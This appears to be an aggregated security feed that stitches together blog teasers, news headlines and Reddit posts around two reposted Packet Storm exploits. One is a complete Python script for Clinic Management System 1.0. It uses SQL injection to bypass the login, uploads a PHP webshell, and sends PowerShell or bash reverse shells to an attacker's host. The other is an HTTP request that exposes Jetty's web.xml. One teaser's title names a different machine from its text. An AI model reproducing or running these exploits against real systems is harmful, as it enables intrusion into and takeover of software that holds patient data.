Hacking on Medium
HackTheBox — Horizontall Writeup

https://cdn-images-1.medium.com/max/600/0*Dc8Brb_Y3CEdXd4_.png
So this is my write-up on one of the HackTheBox machines called Seal. Let’s go!

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Hacking on Medium
Hashing — Cryptography

https://cdn-images-1.medium.com/max/1026/1*LvCnivdO1y1YO3gXzePgeA.png
So before we dive in to Hashing, Hash functions are quite different from encryption. There is no key and it’s meant to be impossible or…

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Hacking on Medium
Protocolos que favorecen ataques de DDos

https://cdn-images-1.medium.com/max/1394/0*Wx6oO9K3oo_0DQnS
PUBLICADO EN 22 OCTUBRE, 2021POR EHACKING

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Exploit Collector
Clinic Management System 1.0 Code Execution / SQL Injection

https://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png Clinic Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for a shell upload.

MD5 | 89d48af5619424e600f5f3f549e39af5Download # Exploit Title: Clinic Management System 1.0 - SQL injection to Remote Code Execution
# Date:21/10/2021
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://www.sourcecodester.com/php/14243/open-source-clinic-management-system-php-full-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Nikhil_B/clinic-full-source-code-with-database_0.zip
# Version: 1.0
# Tested on: Windows 7 and Ubuntu 21.10
# References: https://medium.com/@Pablo0xSantiago/clinic-management-system-1-0-sql-injection-bypass-to-remote-code-execution-804bceac037e

# Vulnerability: Through SQL injection to bypass the login form it is
possible to upload a malicious file and after use that malicious file to
execute code in the remote system.
# Proof of Concept:

import requests
import sys
import time
session = requests.Session()
#http_proxy = "http://127.0.0.1:8080"
#https_proxy = "https://127.0.0.1:8080"

#proxyDict = {"http" : http_proxy,
# "https" : https_proxy}

def windows(HPW,host,shell_name):
payload =
"""powershell+-nop+-c+"$client+%3d+New-Object+System.Net.Sockets.TCPClient("""+HPW+""")%3b$stream+%3d+$client.GetStream()%3b[byte[]]$bytes+%3d+0..65535|%25{0}%3bwhile(($i+%3d+$stream.Read($bytes,+0,+$bytes.Length))+-ne+0){%3b$data+%3d+(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString($bytes,0,+$i)%3b$sendback+%3d+(iex+$data+2>%261+|+Out-String+)%3b$sendback2+%3d+$sendback+%2b+'PS+'+%2b+(pwd).Path+%2b+'>+'%3b$sendbyte+%3d+([text.encoding]%3a%3aASCII).GetBytes($sendback2)%3b$stream.Write($sendbyte,0,$sendbyte.Length)%3b$stream.Flush()}%3b$client.Close()"""""
host2 = host+'/'+'uploadImage/Logo/' + shell_name + '.php?cmd='+payload
#print(payload)
try:
request_rce = requests.get(host2,timeout=8)
except requests.exceptions.ReadTimeout:
pass
def linux(HPL,host,shell_name):
payload = 'bash+-c+"bash+-i+>%26+/dev/tcp/'+HPL+'+0>%261"'
host2 = host+'/'+'/uploadImage/Logo/' + shell_name + '.php?cmd='+payload
#print(payload)
try:
request_rce = requests.get(host2,timeout=8)
except requests.exceptions.ReadTimeout:
pass

def main():

host = sys.argv[1]
shell_name = sys.argv[2]
url = host + '/login.php'
values = {'user': "admin",
'email': "' OR 1 -- -",
'password': '',
'btn_login': ""
}

r = session.post(url, data=values)
cookie = session.cookies.get_dict()['PHPSESSID']

data = { 'btn_web':''}
headers= {'Cookie': 'PHPSESSID='+cookie}
request = session.post(host+ '/manage_website.php', data=data,
headers=headers,files={"website_image":(shell_name+'.php',"<?=`$_get[cmd]`?")})
print("")
print('[*] Your Simple Webshell was uploaded to ' + host +
'/uploadImage/Logo/' + shell_name + '.php' )
print("")
LHOST = input('[+] Enter your LHOST: ')
LPORT = input('[+] Enter your LPORT: ')
print("")
HPW= "'"+LHOST+"'"+','+LPORT
HPL= ""+LHOST+""+'/'+LPORT

print('[+] Option 1: Windows')
print('[+] Option 2: Linux')

option = input('[+] Choose OS: ')

if option == "1":

windows(HPW,host,shell_name)
exit()

elif option == "2":
linux(HPL,host,shell_name)
exit()

else:
print("Please choose Windows or Linux")

main()

#Usage: python3 host shell_name
#Example: python3 http://localhost/clinic shell Source:packetstormsecurity.com

Exploit Collector
Jetty 9.4.37.v20210219 Information Disclosure

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png
Jetty version 9.4.37.v20210219 suffers from an information disclosure vulnerability.

MD5 | ff583cecb4b3cb1a0a4e1562056d0981

Download
# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure
# Date: 2021-10-21
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.eclipse.org/jetty/
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/
# Version: 9.4.37.v20210219 and 9.4.38.v20210224
# Tested on: Kali Linux
# CVE : CVE-2021-28164

POC #1 - web.xml

GET /%2e/WEB-INF/web.xml HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


Source:packetstormsecurity.com

Exploit Collector
Windows IKEEXT AuthIP Unvalidated GSS_ID Privilege Escalation

https://1.bp.blogspot.com/-93ZP4TpCwBw/WWlu7wGG0SI/AAAAAAAAIJg/yDCONAkAMz8MX1TtbGL6KFo1njFu_UyvACLcBGAs/s1600/h111.png
The Windows IKEEXT service does not verify the SPN when performing AuthIP authentication leading to leaking authentication tokens to untrusted systems.

MD5 | 19bf4133c3ff6d58a5febb0a150ebaf7

Download
Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
What Squid Game Teaches Us About Cybersecurity

When life inside the security operations center feels treacherous, here are some suggestions for getting out alive.

Dark Reading: Attacks/Breaches
7 Ways to Lock Down Enterprise Printers

Following the PrintNightmare case, printer security has become a hot issue for security teams. Here are seven ways to keep printers secure on enterprise networks.

hacking: security in practice
Intel VPro - remote management even if pc is "down"?

I've known Intel chips can implement remote management but how is this possible? And when it's exploited what will the ramifications be?

https://www.reddit.com/user/IntelBusiness/comments/py9i3m/laptops_on_intel_vpro_with_evo_designs_let_it/?utm_medium=android_app&utm_source=share

submitted by /u/ShavingPrivatesCryin
[link] [comments]

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@hacking_Attack
@Hacking_Video

Deep Web
How do I know which sites are “honeypots” or governmentally ran? Is there a way to tell???

Me and my friend go on DW and I’ll usually watch through discord via stream cus I’m a pussy and wont download TOR on my pc. We were curious what’s acceptable to click and what isn’t, and also how to know

submitted by /u/Top_Gate_9017
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@hacking_Attack
@Hacking_Video